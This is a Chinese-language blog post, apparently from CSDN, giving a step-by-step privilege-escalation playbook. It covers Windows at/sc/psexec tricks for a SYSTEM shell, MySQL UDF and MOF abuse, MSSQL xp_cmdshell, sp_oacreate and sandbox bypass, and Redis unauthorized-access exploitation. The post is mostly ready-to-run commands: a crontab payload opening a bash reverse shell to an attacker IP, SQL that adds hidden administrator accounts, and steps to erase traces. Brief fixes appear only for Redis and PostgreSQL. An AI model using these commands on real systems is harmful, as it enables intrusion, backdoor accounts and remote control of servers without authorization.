权限提升漏洞

权限提升

1.权限提升权限介绍

​ 当你通过弱口令爆破、敏感文件读取、sql注入等漏洞获取到了管理员的账号和密码登入后台以后,需要提升自己的权限,就得在后台页面中寻找漏洞利用的点,成功上传webshell提升权限

​ 提权可分为纵向提权与横向提权:纵向提权:低权限角色获得高权限角色的权限;横向提权:获取同级别角色的权限。

​ Windows常用的提权方法有:系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、WEB中间件漏洞提权、DLL劫持提权、滥用高危权限令牌提权、第三方软件/服务提权等

后台权限(获得方式:爆破,SQL注入猜解,弱口令)

​ 一般网站或者应用后台只能操作应用的界面内容数据,图片等叫做后台权限

​ 无法操作程序的源代码或者服务器上的资源文件。(如果后台存在功能文件操作的话,可以操作文件数据也可以–文件操作管理器–)

网站权限(后台,漏洞,第三方):

​ 查看和修改(是否限制了管理员用户)程序源代码,可以进行网站或者应用的配置文件读取(接口配置信息,数据库配置信息),为后续收集服务器操作系统相关的的信息,为后续提权做准备。

数据库权限:
只能操作数据库用户,数据库的增删改。源码或者配置文件泄露,也可能是网站权限进行的数据库配置文件读取获得。

接口权限:

  • 短信支付等接口,邮件接口,第三方登录接口。
  • 修改网站支付接口,改为自己。邮件,短信接口。
  • 后台权限,网站权限后的获取途径:后台(修改配置信息),网站权限(查看配置文件信息)

2. window权限提升基础知识

提权常用命令

systeminfo打印系统信息
whoami获得当前用户名
whoami /priv当前账号权限
ipconfig网络配置信息
ipconfig /displaydns显示DNS缓存
route print打印路由表
arp -a打印ARP表
hostname主机名
net user列出用户
net user UserName关于用户信息
net use \SMBPATH Pa$$w0rd /u:UserName连接SMB
net localgroup列出所有组
net localgroup GROUP关于指定组的信息
net view \127.0.0.1会话打开到当前计算机
net session开放给其他机器
netsh firewall show config显示防火墙配置
DRIVEROUERY列出安装的驱动
tasklist /svc列出服务任务
net start列出启动的服务
dir /s foo在目录中搜索包含指定字符的项
dir /s foo == bar同上
sc query列出所有服务
sc qc ServiceName找到指定服务路径
shutdown /r /t/ 0立即重启
type file.txt打印出内容
icacls “C:\Example”列出权限
wmic qfe get Caption,Description,HotfixID,Installedon列出已安装的补丁
tasjkill /pid 4048结束进程
wmic product get name,version查看当前安装程序
wmic service list brief查询本机服务
wmic process list brief查询本机进程
net share查看本机共享列表

要搜集的信息大致如下几点:

  • 机器的系统及其版本
  • 机器的打补丁情况
  • 机器安装的服务
  • 机器的防火墙策略配置
  • 机器的防护软件情况

3. Windows提权

本地提权AT&SC&PS

1. at命令利用

​ 在Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以使用at命令将权限提升至system权限

​ AT 命令提权的原理:At命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用的是system权限

​ AT命令是Windows XP中内置的命令,它也可以媲美Windows中的"计划任务",而且在计划的安排、任务的管理、工作事务的处理方面,AT命令具有更强大更神通的功能。AT命令可在指定时间和日期、在指定计算机上运行命令和程序

当我们拿到一个低权限的用户,通过3389端口远程连接上后,可以通过at命令来进行本地提权

at 12:31 /interactive cmd (在12:31分生成一个交互式的System权限的cmd)

虽然此时我们已经有了system的权限,但是可以看到,桌面还是之前用户的权限所启动的

为了完全提权,我们可以在system的cmd里面输入taskmgr.exe来启动任务管理器

在任务管理器里面我们结束掉之前由之前账号开启的桌面进程explorer.exe

然后再添加一个由system权限下开启的桌面进程explorer.exe

或者利用msf生成木马在利用at启动

2. sc命令利用

​ 适用于windows 7/8、03/08、12/16, 因为at命令在win7,win8等更高版本的系统上都已经取消掉了,所以在一些更高版本的windows操作系统上我们可以用sc命令进行提权

​ SC命令是XP系统中功能强大的DOS命令,SC命令能与"服务控制器"和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。

提权命令

# 这个命令的意思是创建一个名叫syscmd的新的交互式的cmd服务
sc Create syscmd binPath= "cmd /K start" type= own type= interact
# 然后执行
sc start syscmd  # 就得到了一个system权限的cmd环境

其中systemcmd是服务名称,可以随意填写,binpath是启动的命令,type=own是指服务这个服务属于谁,type=interact。这里再解释一下 cmd/k start 这个命令,这个命令就是启动一个新的cmd窗口

3. ps命令提权

适用版本:Win2003 & Win2008

提权命令:

psexec.exe -accepteula -s -i -d cmd.exe

4.数据库提权

1.MySQL提权

流程:服务探针-信息收集-提权利用-获取权限

1.UDF 提权知识点:(基于 MYSQL 调用命令执行函数)

UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,其实就像使用本地MySQL函数如 user() 或 concat() 等。

读取网站数据库配置文件(了解其命名规则及查找技巧)

sql data inc config conn database common include 等配置文件

读取数据库存储或备份文件(了解其数据库存储格式及对应内容)

@@basedir/data/数据库名/表名.myd 利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联) 远程本地暴力猜解,服务器本地暴力猜解

利用自定义执行函数导出 dll 文件进行命令执行 select version() select @@basedir

手工创建 plugin 目录或利用 NTFS 流创建 select 'x' into dumpfile 
'目录/lib/plugin::INDEX_ALLOCATION';

在 udf.dll 文件中,我定义了名为 sys_eval() 的 MySQL 函数,该函数可以执行系统任意命令。但是如果我现在就打开 MySQL 命令行,使用 select sys_eval(‘whoami’);的话,系统会返回 sys_eval() 函数未定义。因为我们仅仅是把 udf.dll 放到了 lib/plugin 目录下,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。
所以,我们应该把 udf.dll 中的自定义函数引入进来。

create function sys_eval returns string soname 'udf.dll';

两个变量

  • 一个是 function_name(函数名),我们想引入的函数是 sys_eval。
  • 另一个变量是 shared_library_name(共享包名称),即 udf.dll
至此我们已经引入了 sys_eval 函数,下面就可以使用了。
这个函数用于执行系统命令,用法如下:

select * from mysql.func where name = 'sys_eval';    #查看创建的sys_eval函数
select sys_eval('whoami');                           #使用系统命令
  • 当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
  • 当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)

2. UDF提权步骤

  1. 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
  2. 从udf文件中引入自定义函数(user defined function)
  3. 执行自定义函数
  • 将udf文件上传到指定位置
sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本,
否则会显示:Can‘t open shared library ‘udf.dll‘。
sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_
sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_

但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。

可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak\cloak 目录下,执行命令:

cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_

sqlmap中的udf文件提供的函数:

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量

有了udf文件,接下来就是利用各种办法上传到网站指定目录下

  • MySQL<5.0,导出路径随意;
  • 5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)
  • MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。

一般Lib、Plugin文件夹需要手工建立(可用NTFS ADS流模式突破进而创建文件夹)

select @@basedir;  //查找到mysql的目录

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';    //利用NTFS ADS创建lib目录

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';    //利用NTFS ADS创建plugin目录
  • 从udf文件中引入自定义函数
create function sys_eval returns string soname 'udf.dll';    //sys_eval是函数名称,udf.dll是lib_mysqludf_sys.dll_上传后的文件名
  • 执行自定义函数
//新建账号waitalone,密码为waitalone.cn
select cmdshell('net user waitalone waitalone.cn /add'); 
//将waitalone加入管理员组
select cmdshell('net localgroup administrators waitalone /add');
  • 清除痕迹
drop function cmdshell; 删除函数
 
delete from mysql.func where name='cmdshell'  删除函数

3.MOF 知识点:(基于 MYSQL 特性的安全问题)

导出自定义 mof 文件到系统目录加载
https://www.cnblogs.com/xishaonian/p/6384535.html
select load_file('C:/phpStudy/PHPTutorial/WWW/user_add.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

4.启动项知识点:(基于配合操作系统自启动)
导出自定义可执行文件到启动目录配合重启执行
将创建好的后门或执行文件进行服务器启动项写入,配合重启执行!

5.反弹知识点:(基于利用反弹特性命令执行)

nc -l -p 5577

2.MSSQL提权

1.使用 xp_cmdshell 进行提权

xp_cmdshell 默认在 mssql2000 中是开启的,在 mssql2005 之后的版本中则默认禁止。如果用户拥有管理员 sa 权限则可以用 sp_configure 重修开启它。

启用:

EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

关闭:

exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

执行:

EXEC master.dbo.xp_cmdshell '命令'
如果 xp_cmdshell 被删除了,可以上传 xplog70.dll 进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

2.使用 sp_oacreate 进行提权

主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令。
启用:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

关闭:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;

执行:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod	@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

3.使用 SQL Server 沙盒提权

参考资料:https://blog.51cto.com/11797152/2411770

exec sp_configure 'show advanced options',1;reconfigure;
-- 不开启的话在执行 xp_regwrite 会提示让我们开启,

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

-- 执 行 系 统 命 令 select * from
openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
沙盒模式 SandBoxMode 参数含义(默认是 2)

3.oracle数据库提权

普通用户模式:
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。

DBA用户模式:(自动化工具演示)
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。

注入提升模式: (sqlmap测试演示)
拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证。

4.Redis未授权访问漏洞利用

1.利用计划任务执行命令反弹shell

在redis以root权限运行时可以写crontab执行命令反弹shell
在自己的服务器上设置监听端口:

nc -lvnp 7999

然后执行命令:

redis内置命令 ,使用bash反弹shell到此IP和对应端口,也可使用其他方法
配置
保存

root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK

2.写ssh-keygen公钥后 使用私钥登录
需要条件:

Redis服务器使用root账号启动
服务器开启SSH

3.往web路径写webshell
redis权限不高
服务器开启web服务
redis有web目录写入权限
其实不是数据库提权了,web提权

修复方案-漏洞成因
重启redis后才生效:

绑定需要访问数据库的IP ,将127.0.0.1修改为此数据库的IP地址,127防止外连
设置访问密码,在redis.conf中requirepass字段后,设置添加访问密码
修改redis服务运行账号,以较低的权限运行redis服务,禁用账号登陆权限
所以是在配置层面导致的安全问题,不是漏洞层面

5.PostgreSQL 数据库权限提升

是一款关系型数据库。其 9.3 到 11 版本中存在一处“特性”,管理员或具有“COPY TO/FROM

PROGRAM”权限的用户,可以使用这个特性执行任意命令。
提权利用的是漏洞:CVE-2019-9193 CVE-2018-1058
连接-利用漏洞-执行-提权

参考:https://vulhub.org/#/environments/postgres/                                        

​ 修复方案:升级版本或打上补丁

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值